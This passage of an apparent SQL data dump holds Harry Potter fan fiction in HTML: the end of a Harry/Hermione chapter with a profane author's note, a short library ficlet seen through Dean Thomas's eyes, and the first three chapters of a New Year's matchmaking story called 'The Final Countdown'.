anymore. He couldn’t stand people like Draco. The fact that obvious death eater sympathizers were alive and well in Hogwarts made him cringe. Harry thought that after the war, everything would go to how it should be.</p><p> Harry just stared at Hermione helplessly. He didn’t know what to say or do. He never wanted to see this side of him: the killer instinct. She didn’t really know what had actually happened in the Great War, but he suspected the clever brunette was beginning to understand it wasn’t all heroics and valiance. Harry wasn’t sure how long it would take for before he broke down and told her everything.</p><p> “Harry, don’t worry, okay? You just snapped. Don’t apologize. Just—I don’t want to see that again, really. My goodness,” she wiped a bit of sweat of her forehead. “Look, you know that I truly love you. No matter what, I love you, Forget the past,” she wrapped him in a loving embrace.</p><p> He stared into her eyes and started to sob. She started to cry, too. The two were truly happy, and Harry was relieved as he’d ever been. For a second he thought she run from him, afraid. He sighed and held her close as tears streamed down his face. He wanted to kiss her, but he just couldn’t move. He sighed again.</p><p> “Well, let’s get out of here before he stirs,” Hermione said of Draco. “How are we going to get to Hogsmeade, anyway? We can still make the train.”</p><p> “No. Just hold on tight, okay?” she gripped his waist, unsure of what was about to happen. Harry clutched his wand hard in one hand, the other crushing against her back.</p><p> “Hold on tight!” he yelled. There was a loud crack. All the wind fell from Harry’s body, and the duo was transported to a small, black room. It seemed like a closet. Harry collapsed and wheezed. Hermione was quite fine.</p><p> But Harry—what, how? That wasn’t a portkey, but how? You can’t apparate in Hogwarts.”</p><p> “No… my dear… lady,” Harry was breathing almost ruggedly. It sounded like he had a heart attack. And for all intents and purposes, it felt like he had one. “You can’t… McGonagall can’t… no one can… but me.”</p><p> His breathing was slowly coming back to normal. “You see, my love… I’m not an ordinary wizard. Things that have never been done before, I do. Things that have never been tried before, I try. If you know that I don’t die when hit with the killing curse, what would stop me from apparating through Hogwarts? It just hurts like hell…”</p><p> “Hmmm… I guess that does make sense,” Hermione said. Harry opened the closet door, and the two tumbled out.</p><p> Harry led her through a few doors into a tiny, candlelit room with a table for two. Beautiful carvings of fantastical creatures and gothic paintings beautified the room. The walls were a slate grey with intricate designs leaving no inch of wall uncovered. For a lack of better words it was majestic.</p><p> “Recognize it?” Harry smirked.</p><p> “Oh Harry! You’ve taken me here before. I remember this was the time we… oh, yes.” The two had dined here about two weeks ago, and, needless to say, things got a bit passionate. After ordering the appetizer and a bottle of wine, Harry began to get a little randy and blocked the whole section off before the waiter could even take their entrée order. It was one of the most passionate affairs the two had had, lasting for almost three hours.</p><p> “Well, no better place for your birthday, right?” </p><p> She smiled and took his hand. It was about 11:00 A.M. now. Today was going to be one hell of a day…</p><p><br/><br/> Shitty cliffish hanger, I know. I know its been a long fucking time since I updated. Sorry. Sorry. Sorry.</p><p> I promise the next chapter will be out within a month, hopefully 2 weeks, but usually my promises don’t mean shit.</p><p> Hope you liked my fun/nasty/vulgar story so far. Yes I know, the characters are OOC. It’s FANON. I chose to do that. Please don’t give me a crappy review because you don’t think Hermione would act like that. It’s the way it is.</p><p> Now, without further adieu, pleaseReview! Seriously. Any review helps. I thrive on them. Don’t be shy. PM me if you want. Email me. AIM me. TALK TO ME!!!!</p><p> Not that I’m desperate or anything. I am willing to beta your story if your story is kinda like mine. If its fifth or sixth year, I’m just not interested. 7th or post Hogwarts H/H only plz. And no angst. I prob have too high expectations, but whatever. Thank you, goodbye! </p><p> </p></div> '),
	(74, 1, '\n\n\n  \n\n\nLadies and Gentlemen... Carla here. I\'ve done something today that I\'d never\ndone before. I wrote a ficlet-- directly in english. Not translated, but\nactually in english. So, I wanted to post it here... be warned: it hasn\'t\nbeen beta-ed, it was written in less than an hour, very rushed, and it\'s\nso sugary sweet, it can cause you cavities. Oh, and I think the ending is\nkind of lame... *nervous laugh* Heh.<br><br>\n\n\nI dedicate this to:<br><br>\n\n\n-Everyone over at the HMS Pumpkin Pie, because you guys rock!<br><br>\n\n\n-And especially to <b>Nailju</b>, because our owls are the best.<br><br>\n\n\n-And to the French football team, because I love them, even if they are a\nbunch of dolts who threw away the World Cup in an amazing display of mental\nerrors. Even if they have nothing to do with this fic, I still love them,\nand they&#8217;ll always be my team, win or lose. My heart goes out to you, Monsieur\nZidane! You&#8217;re still my hero, and I love you! Hope you get better soon...<br><br>\n\nAnyway, here goes...<br><br><br><br>\n\n<i>\n-----------------------------<br>\n  \n\nFrom behind a bookshelf<br>\n  \n\n-----------------------------</i><br><br><br><br>\n  \n\n  \n\nDean scrunched up his nose as he searched for a book Professor McGonagall\nhad asked him to find. One of the disadvantages of being Head Boy was that\nhe had to spend a lot of time in the library. And the library was full of\ndust, which wasn\'t good for his poor nose.<br>\n <br>\n <i>How to apply a &quot;Reparo&quot; charm on those broken rules</i>, was the title\nof the book the deputy Headmistress had asked him to find. How wizards and \nwitches, being so intelligent and all, could put such stupid titles to their \nbooks remained a mystery to him, even with the seven years he had spent in\nthe wizarding world. Thank God his skill was drawing and not writing, he\nthought while getting the book out of the bookshelf and holding it in his\nhand. And even more of a mystery was how people could actually read books\nwith such stupid titles. He was pretty sure that McGonagall was going to\nmake him read it. Maybe he should give it to Hermione; he had to admit that\nit DID look like the kind of books she\'d read.<br>\n <br>\n And speaking of the devil... Through the space that was left when he pulled\nthe book out, he could see the familiar bushy brown head, sitting at the\ntable that was directly in front of that bookshelf. He was almost face to\nface with her profile, that was bent over a book that appeared to be about\nPotions, as she was whispering something about stirring, and cauldrons. And\nsitting beside her was none other than The Boy Who Lived, Harry Potter.<br>\n <br>\n Oh, boy, was this going to be interesting, thought Dean, putting the book\nunder his arm to get a better look at the pair. If he could get an earful\nof their conversation, Ron would owe him a lot of money. So, he left all\nthoughts of his Head Boy-ish duties out of his mind, and put on the spy gear.<br>\n <br>\n Harry and Hermione had been &quot;going out&quot; for almost a week and a half. The\nnews were officially confirmed during a Charms study session, and promptly \nspread all throughout Gryffindor Tower, and almost all of Hogwarts. Everyone \nwas happy for them, you know, they were the kind of couple who girls looked\nat and giggled, wishing they were in a relationship like that. They looked\nradiant and very in love whenever they were together.<br>\n <br>\n Still, the Gryffindor 7th year boys were getting a bit suspicious. Days\nwere passing, and the most intimate contact they\'d had in public was holding\nhands. There had to be something wrong... there was no way they could be\nso platonic. Sure, they weren\'t the type to be caught half-dressed on top\nof the Astronomy Tower, but they were sure no hot-blooded, biologically healthy,\n17-year-old male like Harry was could resist stealing a few kisses. But he\nwasn\'t saying anything about the time he spent with Hermione, and she wasn\'t\nthe most chatty girl when it came to boy-talk with Parvati and Lavender,\neither. So, either they were really shy, really weird, or the whole thing\nwas really a fake.<br>\n <br>\n Thus, the boys decided to keep an eye on them, to figure out what exactly\nwas the reason for such an intriguing situation. (&quot;Operation S.N.O.G.&quot;, Ron,\ntheir self-proclaimed leader, had taken to call it-- &quot;Sneaking at Night to\nObserve those Gits.&quot;) So far, they\'d had no luck at all. They had almost\ngotten caught by Filch twice in three days, while going out to catch the couple\non those famous &quot;walk-dates&quot; they had around the lake. And they hadn\'t seen\nas much as a hug from them. Ron was getting desperate, to the point where\nhe said he would sell Pig and give the money to whomever could bring him\nANY information of what Harry and Hermione did in private.<br>\n <br>\n And while Dean was sure that Ron wouldn\'t have the guts to actually sell\nhis hyperactive little owl, he could use some money. Besides, eavesdropping\non Harry and Hermione was fun. He felt like James Bond.<br>\n <br>\n He looked at the title of the book he had under his arm again.<br>\n <br>\n Well... not quite 007.<br>\n <br>\n He leaned more into the bookshelf, trying to hear the voices a bit more clearly.\nHe had seen this in movies-- no librarian in sight, perfect time for a necking\nsession between piles and piles of books. He didn\'t want to see them getting\nit on... eww. So he\'d just listen for a bit, and then leave when things started\ngetting hot and heavy.<br>\n <br>\n &quot;...and then you add the Belladonna roots, stir it a bit, and wait until \nit turns a pale green color. See? As simple as that,&quot; Hermione was saying.<br>\n <br>\n Harry took off his glasses and pressed his palm against his eyes. &quot;I\'m not \ngetting this, Hermione.&quot;<br>\n <br>\n &quot;I\'ll help you, but you have to copy it down first. Remember, the essay\nis due this Monday,&quot; she reminded him.<br>\n <br>\n Harry grumbled something about Snape being a crazy git, and resumed writing.<br>\n <br>\n A few minutes passed, and the only thing Dean could hear was Harry\'s quill \nrasping against the parchment, and Hermione skimming throught the pages of\na book that seemed to be bigger than she was. Now he was getting bored, thought \nDean.<br>\n <br>\n Only a bit later, Harry suddenly stopped writing. He dropped his Eagle Feather \nQuill on top of his parchment, and turned his head to look at Hermione, who\nwas concentrating on the MediMagical antidotes for aging potions. His eyes\nwere glazed, his expression amazed, as if he were seeing an angel for the\nvery first time, and didn\'t think himself worthy of such an honor. <br>\n <br>\n But it was only Hermione. He had seen her countless times, thought Dean.\nShe wasn\'t even looking that pretty this morning.<br>\n <br>\n &quot;You\'re so beautiful,&quot; Harry said.<br>\n <br>\n And it wasn\'t just a phrase. It had come straight from his heart, filled\nwith all the incredible feelings that he had inside him at that moment. She\nlooked up when she heard the words, gazing directly into his eyes, and blushed\na little.<br>\n <br>\n &quot;And I love you,&quot; he concluded.<br>\n <br>\n They kept their gaze until Harry snapped out of the trance. Shaking his\nhead a bit, and blushing too, he lowered his eyes to his parchment, took\nthe Eagle Feather Quill in his hand, and started writing again.<br>\n <br>\n Hermione kept looking at him, cheeks still rosy, with a small smile adorning \nher lips. Wordlessly she stood up from her chair, and went to stand behind \nHarry. She wrapped her arms around his neck, resting her chin on his left \nshoulder. Then, with one hand, she started playing with his hair, in soft, \nconstant caresses.<br>\n <br>\n It was then that Dean understood that they didn\'t need kisses or snog sessions \nto prove their love. It was there, lying between them, in every glance they \nshared, every little touch, and every single thought. They were connected\non a deeper level than other couples their age were. Operation S.N.O.G. would\nhave to find other targets, for he thought scenes like this were too personal\nto be spied on.<br>\n <br>\n He slowly turned around and left, being careful not to make any loud noises \nthat could make his presence known.<br>\n <br>\n He didn\'t see Harry turn his head around, and Hermione lean downwards to\npress her lips softly against his in the purest of kisses. He didn\'t see\nthem rest their foreheads together, closing their eyes. And he didn\'t hear\nHermione\'s soft whisper of &quot;I love you too,&quot; either.<br>\n <br>\n <i>-----------------------------<br>\n  \n\n~* fin *~<br>\n  \n\n-----------------------------</i><br><br><br><br>\n  \n\n\nSo, how was that? First HP ficlet in english... wow. I just had to find a\nweird POV to make it from. What\'s next, Moaning Myrtle? *groans* Please overlook\nmy Dean being Head Boy, I know that\'s a bit unlikely, but it\'s a strange\nfixation I have. Please R&amp;R! -cali-chan.\n\n  \n\n\n'),
	(75, 1, '<p><i>\nThis was started as a challenge on the yahoo group:  Harry and Hermione forever.  The challenge guidelines are:\n</i></p><p>1. Must include the phrase Sproglets\n</p><p>\n2. Must be a New Year\'s special\n</p><p>\n3. Must include the phrade Fudge is a blubbering idiot\n</p><p>\n4. Harry and Hermione must kiss\n</p><p>\n5. Ron must be jealous\n</p><p>\n6. Sirius must set D/G up\n</p><p>\n7. Winky must come in with a tea tray\n</p><p>\n8. Remus must  set H/H up\n</p><p>\n9. You may only use characters from Harry Potter, no original \ncharacters or crossovers!\n</p><p>\n10. There must be a trial where Sirius is cleared\n</p><p>\n11. Buckbeak must come back to live with Hagrid with the promise of \nnever being killed\n</p><p>\n12. Snape must take at least 20 points of Slytherien and must give at \nleast 30 points to Gryffindor, but may not take points off Grffindor \nand give points to Slytherein! \n</p><p>\nI entered the challenge last year, and have only just finished it now!  Happy New Year everybody!\n</p><p>\n~Silvestria~\n</p><p>\nDisclaimer:  JK Rowling owns Harry Potter etc. copyright.  I am earning no money whatsoever on this... (actually, I loose money on the internet connection- but that\'s besides the point!)\n</p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>The Final Countdown</b></div><p></p><p>\nby Silvestria\n</p><p><b><span class="u"></span></b></p><div class="center"><b>\nThe Analysis</b></div>\n<p></p><p>\n"I now declare you a free man, Sirius Black!" cried Judge Percy Weasley to the crowds in Ministry of Magic, who were watching the trial of Sirius Black.\n</p><p>\nThere was burst of cheering and Sirius smiled broadly and stepped down from his box.\n</p><p>\nThe first thing he did when he was out of the courtroom, was to find his dear, old friend Remus Lupin who he had not spoken to for about two years.\n</p><p>\n"Padfoot, me old mate!" cried Remus, when he spied Sirius.\n</p><p>\n"Moony, old thing!" replied Sirius, wringing Remus\' hand very hard.\n</p><p>\n"How are you?  You look better than you have done for years."\n</p><p>\n"I feel better!  But, honestly, Remus!  That Fudge is a blubbering idiot!  It\'s ridiculous!"\n</p><p>\n"Why?  What\'s he done now?"\n</p><p>\n"Right well, there were all these witnessess saying that they had seen You-Know-Who, Pettigrew and all that and Fudge was standing there saying, \'He\'s not come back!  He\'s not come back!\'  He had to admit it in the end, though."\n</p><p>\n"He\'d have to!  Must have been pretty embarrassing actually."\n</p><p>\n"Well, it got me cleared, and that\'s the main thing!  Now, tell me about you.  What are you doing nowadays?"\n</p><p>\n"Actually, I\'m teaching at Hogwarts again.  Defence against the Dark Arts, you know."\n</p><p>\n"Really?  How\'s Harry?  I can\'t wait to see him!"\n</p><p>\nRemus paused then leaned conspiratorily over and whispered in Sirius\' ear, "He\'s fine.  But I think...I think he\'s fallen for a girl!"\n</p><p>\nSirius jerked back in suprise, "Harry!  Fallen for a girl!  Golly.  Which one?  Is she pretty?"\n</p><p>\nRemus looked embarrassed, "Er, it\'s Hermione Granger."\n</p><p>\nSirus grinned, "Little Hermione, the bookworm?  I don\'t believe it!"  \n</p><p>\n"Well, she\'s not such a plain little bookworm now!  Last year, she got a boyfriend, Viktor Krum, and both Ron and Harry began to, er, I think notice her more."\n</p><p>\n"<i>Both</i> of them?"\n</p><p>\n"Yep.  They both like her."\n</p><p>\nSirius nodded, "And who does she prefer?"\n</p><p>\nRemus fidgeted, "Well, I may be mistaken but...er..."\n</p><p>\n"Go on!"\n</p><p>\n"It\'s Harry!"\n</p><p>\nSirius laughed, "Thank god it\'s Harry!  I love Hermione-"\n</p><p>\n"<i>Sirius</i>!"\n</p><p>\n"Not like that, you idiot!  I\'ll come to their wedding.  Er, Remus, er, how <i>far</i> have they taken it?  I mean, I am Harry\'s godfather, and I think I should... well, you know..."\n</p><p>\n"Honestly!  Still the same, aren\'t you!  They haven\'t taken it anywhere!  They just sit staring at each other across the classroom.  It\'s quite distracting."\n</p><p>\n"Well, you know what to do, don\'t you?"\n</p><p>\n"Sirius, I am <i>not</i> going to play matchmaker!"\n</p><p>\n"Oh yeah?"\n</p><p>\n"Shut <i>up</i>!"\n</p><p>\n"Right ho.  Remus, what are you doing tomorrow?  It\'s New Year\'s Eve."\n</p><p>\n"I\'m going back to Hogwarts.  Dumbledore\'s doing some countdown to the New Year in the Great Hall which I don\'t want to miss.  You can come as well, if you want."\n</p><p>\n"I\'d love to, get to see Harry as well.  But for tonight... let\'s have a guy\'s night out!!"\n</p><p>\n"Right you are!  Leaky Cauldron at ten o\'clock?"\n</p><p>\n"Good one!  See you then!"  So saying, Sirius left to get into a suitable mood for his first evening out.\n</p><p>\n</p><div class="center">~~*~~</div>\n<p></p><p>\nRemus and Sirius met bang on time in the Leaky Cauldron.  They immediately ordered some Butterbeer, and infact kept on ordering it for quite a few hours afterwards.  At just about midnight, when the conversation had almost dried up, Sirius said, "Truth or Dare, Remus?"\n</p><p>\nRemus sighed, he couldn\'t be bothered to complain, "Truth."\n</p><p>\nSirius drummed his fingers on the table top, "Who was your best girl you\'re ever French kissed?"\n</p><p>\nRemus rolled his eyes, "You know it was Arabella Figg in sixth year in the broom cupboard!"\n</p><p>\n"For how long?"\n</p><p>\n"I wasn\'t exactly timing!"\n</p><p>\n"Oh well.  Your go."\n</p><p>\n"Truth or dare, Sirius?"\n</p><p>\n"Ooh, dare of course!  Provided it includes at least one pretty girl!"\n</p><p>\nRemus thought a minute, then said with a mischeivous glint in his eye, "OK, Sirius.  It includes a pretty girl.  But you won\'t be getting her!"\n</p><p>\n"Aw."\n</p><p>\n"I dare you to be matchaker-"\n</p><p>\n"Noooo!  Remus- remember the last time you dared me that and we lost fifty points!"\n</p><p>\n"But it was worth it just to see their faces when they realised they were caught under the mistletoe."\n</p><p>\n"We\'re talking about Severus Snape and Minerva McGonagall here!"\n</p><p>\n"I dare you," Remus continued steadily, "to play matchmaker for Draco Malfoy and Ginny Weasley!"\n</p><p>\n"<i>Draco Malfoy</i> and <i>Ginny Weasley</i>!" \n</p><p>\n"Yep.  And they have to be together by January the first!"\n</p><p>\n"Remus please!  That gives me one day!"\n</p><p>\n"And if you don\'t do it, I\'ll tell Harry exactly what went on in the prefect\'s bathroom after the match against Slytherin with June Weasley.  You were in there for half an hour!"  <i>(June is not an original character since it mentioned in PoA that Ron had some aunts.)</i>\n</p><p>\n"Remus- you wouldn\'t!"\n</p><p>\nRemus nodded, grinning.\n</p><p>\nSirius put his hands up, "OK, OK.  I\'ll do it!  And I\'ll see you tomorrow as early as you can make it.  I need as much time as possible."\n</p><p>\nRemus stopped, "I just thought.  How will we get to Hogwarts?  There aren\'t any trains running on New Year\'s Eve."\n</p><p>\n"We\'ll go on Buckbeak.  I intend to give him back to Hagrid."\n</p><p>\nDon\'t you want to keep him?"\n</p><p>\n"Oh no.  He\'s been pining for Hagrid ever since I got him."\n</p><p>\n"Isn\'t he in danger from the Ministry, though?"\n</p><p>\n"No.  I extracted a formal apology from Fudge after the trial.  He says he promises never to harm a hair on that hippogriff\'s head."\n</p><p>\n"Well, that\'s all right then.  I\'ll see you tomorrow at my place.\n</p><p>\n"Sirius nodded, "Are you still living with your uncle?"\n</p><p>\n"Yep.  See you then."\n</p><p>\n<i>A/N: Chapter 2 coming soon!  R&amp;R please!</i>\n'),
	(75, 2, '<p><i>Second installment here we are!  Hope everyone enjoys it!\n</i></p><p>\nDisclaimer:  JK Rowling owns Harry Potter etc. copyright.  I am earning no money whatsoever on this... </p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>The Final Countdown</b></div><p></p><p>\nby Silvestria\n</p><p><b><span class="u"></span></b></p><div class="center"><b>\nThe Design</b></div>\n<p></p><p>\nIn the Great Hall on the eve of the New Year, Harry and Ron were staring hopelessly at Hermione, and Ginny was opening her post.  It included one letter written in green ink in a hand she didn\'t quite recognize.  Trembling, she opened it.  It read,\n</p><p><i>\nDearest Ginny,\n</i></p><p>\nYou may disaprove of me, you may hate me, but give me a chance at least.  If you honour the love of a good man, meet me outside the prefect\'s bathroom, tonight, at nine o\'clock.\n</p><p>\nDearest Virginia, I await you impatiently,\n</p><p>\nX\n</p><p>\nGinny looked up, her eyes round.  She knew who she wished it was from, but she doubted it actually was from him.  No-one knew of her secret crush on Draco Malfoy and she couldn\'t believe he might like her back.  She did just glance over at the Slytherin table for one second, and her heart was in her mouth when she saw Draco staring at her with a kind of hungry look.  Their eyes met- cold grey and warm brown, then she was forced to look away, her cheeks burning.\n</p><p>\n"I\'ll be there," she whispered folding up the precious letter.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nDraco Malfoy opened the letter impatiently.  Who on earth would send him a note written in red ink?  That was the Gryffindor colour, and didn\'t Draco hate the Gryffindors!\n</p><p>\nHe glanced at it, and his eyes became round as saucers when he saw what was written.  <i>Someone had sent him a love letter!\n</i></p><p>\nMy darling Draco,\n</p><p>\nYour eyes are slices of ice.  Your brain is as calculating as a fox\'s.  But let your heart be warm to my love.  Dear Draco, if you ever thaught well of anyone, think well of me when I ask you to meet me at nine this evening outside the prefect\'s bathroom.  All hangs on your coming.\n</p><p>\nYour ever loving, ever doting,\n</p><p>\n?\n</p><p> \nDraco stared at it impatiently.  He had no time for such nonsense.  He wasn\'t going to go and meet some love-sick Gryffindor on New Year\'s Eve, when he could be partying with the other Slytherins.\n</p><p>\nHe looked across at the Gryffindor table, wondering idly who could have sent such a thing.\n</p><p>\nHis eyes met those of Ginny Weasley.  Her hair was blown out behind her in a long golden-red glow in the candlelight.  Her cheeks were slightly flushed.  She was pretty, he thought, for a Gryffindor...  He could imagine running his hands through that lovely mane...\n</p><p>\nShe lowered her eyes, her cheeks pinker than ever.  Draco snapped out of his reverie and was worried about his thoughts.  He couldn\'t be falling for <i>Ginny Weasley</i> could he...?\n</p><p>\nPerhaps he\'d go and have a look at nine that night.  Just for the fun of it...\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nAt that very moment, the large wooden doors of the Great Hall burst open and in came Sirius Black and Remus Lupin riding on Buckbeak.  Some of the girls screamed.  Harry, on the other hand, jumped up and rushed towards them crying, "Sirius!  You\'re free!"\n</p><p>\nHermione turned angrily to Ron, "Ron, you don\'t have to grab my hand!  I\'m not frightened of Buckbeak!  I have ridden him you know!  With Harry..." Her voice trailed off as she watched that young man talk to his Godfather.  She gazed at him, starry eyed.\n</p><p>\nRon chose this inopportune moment to confess his secret love for her.\n</p><p>\n"Hermione... Hermione... er... I don\'t know how to begin..."\n</p><p>\n"Well then, don\'t!" she snapped impatiently.\n</p><p>\n"Oh Hermione, but you don\'t understand!" he cried wringing his hands.\n</p><p>\n"I understand enough!  You are my friend aren\'t you? And I think that-"\n</p><p>\n"Oh Hermione!  More than just a friend!  I do so hope that... that... you might consent to become... my girlfriend!"\n</p><p>\nShe stared at him in horror, "<i>Ron</i>!  Don\'t be idiotic!  I don\'t like <i>you</i>!"  And with that she uncharacteriscally left the room in floods of tears.\n</p><p>\nHarry immediately followed her out of the room.  Sirius raised his eyebrows at Remus and jerked his head at the door, "Moony- do something about them."  And Remus nodded slowly and left to do just that.\n</p><p>\nMeanwhile, Buckbeak had returned to the faithful Hagrid.  Sirius joined the \'happy couple\'.  \n</p><p>\n"Oh Sirius!" wailed Hagrid, "\'Ow can I ever thank you for bringing my baby back!" and he wept precosciously.\n</p><p>\nSirius felt very embarrassed, "Oh, it\'s nothing.  Really nothing.  And Hagrid, you can keep him."\n</p><p>\nHagrid stopped crying in shock, "I can keep him?  Really?  And what about Fudge?  Isn\'t poor Beaky wanted for murder?"\n</p><p>\nSirius grinned, "Not anymore.  Fudge has apologised and says he would never dream of killing Buckbeak."\n</p><p>\n"Dreamin\'s not the question \'ere!"\n</p><p>\n"Well," replied Sirius with a laugh, "I don\'t think he\'d kill him in his waking moments either."\n</p><p>\n"Good.  Oh, Beaky, at last you\'re free!"  And thus wailing, Hagrid flung himself on the animal\'s neck and both had to be led from the room by Professor McGonagall to the sounds of sniggering from the Slytherin table.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nRemus wandered lazily through the halls of Hogwarts pondering on how he should help the course of nature (and whether it would be morally right) by pushing Harry and Hermione to admit their love.\n</p><p>\nAt that moment, he felt someone bump into him- Dennis Creevey. \n</p><p>\n"Why, hello Dennis!  Sorry for bumping into you!"\n</p><p>\n"All right, Professor Lupin!" squeaked Dennis apologetically, bending to pick the large, pink box that he had dropped.\n</p><p>\n"What\'s that?" asked Remus curiously.\n</p><p>\n"Oh that!  It\'s this New Year charity draw thing me and Colin are doing for the RSPM," said the fourth year eagerly, happy that his teacher showed an interest.\n</p><p>\n"What\'s the RSPM?"\n</p><p>\n"It\'s a muggle charity- \'Royal Society for the Protection of Milkmen\'.  My dad\'s a milkman, you know.  We don\'t have many entries, actually," he added regretfully.\n</p><p>\n"Here, I\'ll enter.  How much is it?"\n</p><p>\nDennis\' face lighted up, "You will?  Oh good!  It\'s one sickle."\n</p><p>\nRemus produced the coin and asked what he had to do.\n</p><p>\n"Well," stammered Dennis, "I\'m not sure if it\'s all that suitable for you, Professor.  It\'s quite simple- you write your name and your girlfriend\'s name on a piece of paper in secret, and you put it in this box and Colin will draw one at random and the couple picked have a lovely candlelit dinner with me and Colin as waiters this evening."\n</p><p>\nA smile decked Remus\' face, "This is just what I needed!  Do you have quill and parchment?"\n</p><p>\nDennis provided these neccessary items and Remus wrote two names on the parchment, folded it in half and slipped it into the box.  "Here\'s another sickle for your help, Dennis," and he went away whistling to where he\'d arranged to meet Sirius.\n</p><p>\nDennis stared at Professor Lupin and then at his two sickles, and then grabbed the box and careered off down the corridor shouting, "Colin!  Colin!  Guess what?"\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nSirius was tapping his foot impatiently when Remus eventually found him.\n</p><p>\n"Well, how\'s the dare going?" Remus panted.\n</p><p>\nSirius grinned, "Wonderfully.  I sent them both anonymous notes arranging them to meet each other tonight."\n</p><p>\n"Where?  I wanna spy!"\n</p><p>\n"Remus!  Outside the prefect\'s bathroom, if you must know."\n</p><p>\n"Not very romantic, is it, eh Sirius?"\n</p><p>\n"It\'ll do," he replied grimly.\n</p><p>\n"And, Sirius," continued Remus, "I\'ve entered Hermione and Harry in a romantic dinner draw.  There aren\'t many entries, so they have quite a chance."\n</p><p>\nSirius\' face lit up with wicked amusement, "There\'s an even bigger chance if we...help the draw along, isn\'t there?"  He tapped his wand pocket and winked, "It\'s just like being Marauders again, isn\'t it?"\n</p><p>\n'),
	(75, 3, '<p><i>\nDisclaimer:  JK Rowling owns Harry Potter etc. copyright.  I am earning no money whatsoever on this... </i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>The Final Countdown</b></div><p></p><p>\nby Silvestria\n</p><p><b><span class="u"></span></b></p><div class="center"><b>\nThe Implementation</b></div>\n<p></p><p>\nRemus found Ron brooding unhappily by the lake.  Hermione, apparently, was in tears and speaking to no-one but Harry and Ron was madly jealous.\n</p><p>\n"I understand what she meant this morning by, \'I\'m not in love with <i>you</i>!\'  She likes Harry.  I might have guessed.  Oh well.  Harry the hero gets the girl and poor Ron, who\'s just the sidekick is ignored.  Typical."\n</p><p>\nRemus sympathized as much as he could but felt it neccessary to lecture Ron all the same, "I understand how you\'re feeling, but I\'ve been watching those two all of last year, and I believe... I believe that they\'re in love."\n</p><p>\nRon nodded morosely.\n</p><p>\n"And I think the best thing you could do is be happy for them.  They\'ll be so disppointed if you\'re not."\n</p><p>\n"I\'ll try."\n</p><p>\nRemus clapped a hand on Ron\'s shoulder, "Good lad.  Now listen to my plan."\n</p><p>\n"Plan?"\n</p><p>\n"Yep.  I\'ve entered your two friends in the Creevey brothers\' charity dinner draw-"\n</p><p>\nRon snorted.\n</p><p>\n"And I hope you\'ll be supportive and make sure they go to it."\n</p><p>\n"What if they don\'t win?"\n</p><p>\nRemus grinned, "Oh they will!"\n</p><p></p><div class="center">~~*~~</div><p></p><p>\n"Well, have you got the box, Dennis?" hissed Colin from behind a statue.\n</p><p>\nDennis ran up and handed his brother the precious box, "I found it in Professor Lupin\'s room.  I wonder what it was doing there!"\n</p><p>\n"Very odd.  Anyway, shall I do the draw?"\n</p><p>\n"Go on."\n</p><p>\nAlmost holding their breaths, Colin put his hand in and pulled out a piece of paper.  He unfolded it.\n</p><p>\n"Who is it, Colin?  Who is it?" cried his brother eagerly.\n</p><p>\n"Harry Potter and Hermione Granger!" said Colin with a happy grin. "They\'re such a cute couple!  This should be so much fun, Dennis!"\n</p><p>\n"I wonder who entered them," mused Dennis.\n</p><p>\n"Never mind that!  Let\'s find them now!"\n</p><p>\nAnd they dashed off in search of the lucky couple.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nSeverus Snape was in a bad mood.  New Year always got him.  It made him think of a rather unpleasant memory from his school days; when Potter and Black had caught him under the mistletoe and made him kiss Minerva McGonagall.  He hadn\'t minded kissing her- he had fancied Minerva more than any other girl in school.  But Potter and Black had ruined all his chances with her by their stupid dare.  He\'d never forgive them.\n</p><p>\nAt that moment there was a soft knock on his door.\n</p><p>\n"Who\'s there?" he barked.\n</p><p>\n"Only me," said Professor McGonagall coming in.  Snape swallowed hard; he still loved her.\n</p><p>\n"What do you want?" he snapped.\n</p><p>\nShe sighed, "I\'ve finished the preparations for Dumbledore\'s midnight fireworks.  I just wondered if you wanted to see them."\n</p><p>\n"What would give you that idea?"\n</p><p>\nShe looked troubled, "I don\'t know.  I just thought you might..."\n</p><p>\nOf <i>course</i> he wanted to see the decorations!  He had always loved New Year\'s Eve, before <i>that</i> happened of course.  Afterwards he had shirked from all kinds of celebrations that might remind him of the \'mistletoe event\'.  But he didn\'t see any harm in just looking. \n</p><p>\n"All right.  I\'ll come and look."  Was he imagining things, or did Minerva\'s face look slightly lighter when he said that?\n</p><p>\nShe reached out a hand to help him up.  He took it, and somehow, managed to keep it all the way to the prefect\'s bathroom, where he was forced to let go of it for Ginny Weasley, looking very nervous in dress robes was watching them.  It was five minutes to nine.\n</p><p>\nThe Great Hall did look very beautiful.  They stood in the doorway and surveyed Minerva\'s handiwork, hand in hand.  Snape felt very happy, for possibly the first time in years.\n</p><p>\n"Well, it\'s very nice," he said stiffly.\n</p><p>\nMinerva smiled, "Thanks."\n</p><p>\nHe turned and was about to leave the room, when Professor McGonagall stopped him, "Look up, Severus!"\n</p><p>\nHis heart almost stopped.  They were standing under the mistletoe.  </p><p>\nAnd she was <i>smiling</i>?\n</p><p>\nShe was definitely smiling.  It couldn\'t be interpreted in any other way.\n</p><p>\n"Minerva?" he said hesitantly.\n</p><p>\n"Severus!" and she hugged him tight.\n</p><p>\nHe kissed her repeatedly, not caring if they were seen (which they weren\'t.)\n</p><p>\n"Got any New Year\'s resolutions, eh?" she asked after a few minutes.\n</p><p>\n"Yes, I have," he said after some thought.\n</p><p>\n"Might I know what they are?"\n</p><p>\n"Of course you may, Minerva!  I shall not be such a bastard in class any more."\n</p><p>\n"Good!  I hoped you\'d say that!  An also not to favour Slytherin so much."\n</p><p>\n"If I\'m going out with the head of Gryffindor, then I\'d better be careful about who I take points off!"\n</p><p>\n"Umm.  You had."  She kissed him again.\n</p><p>\nEventually he pulled away saying, "I better get back.  We can\'t be caught here."\n</p><p>\n"Why ever not?"\n</p><p>\n"Let\'s... let\'s tell everyone else later on, shall we?"\n</p><p>\n"If you really think so."\n</p><p>\nHe made his way back to his office, a rare smile on his face.\n</p><p></p><div class="center">~~*~~</div><p></p><p>\nGinny was very nervous as she waited outside the prefects\' bathroom at nine o\'clock.  She very much hoped it was Draco, though she wasn\'t sure she would know how to behave if it was.  There had never been the possibility of her other crushes liking her back.\n</p><p>\nMeanwhile, in a nearby broom cupboard, Sirius and Remus were watching and waiting in a very cramped 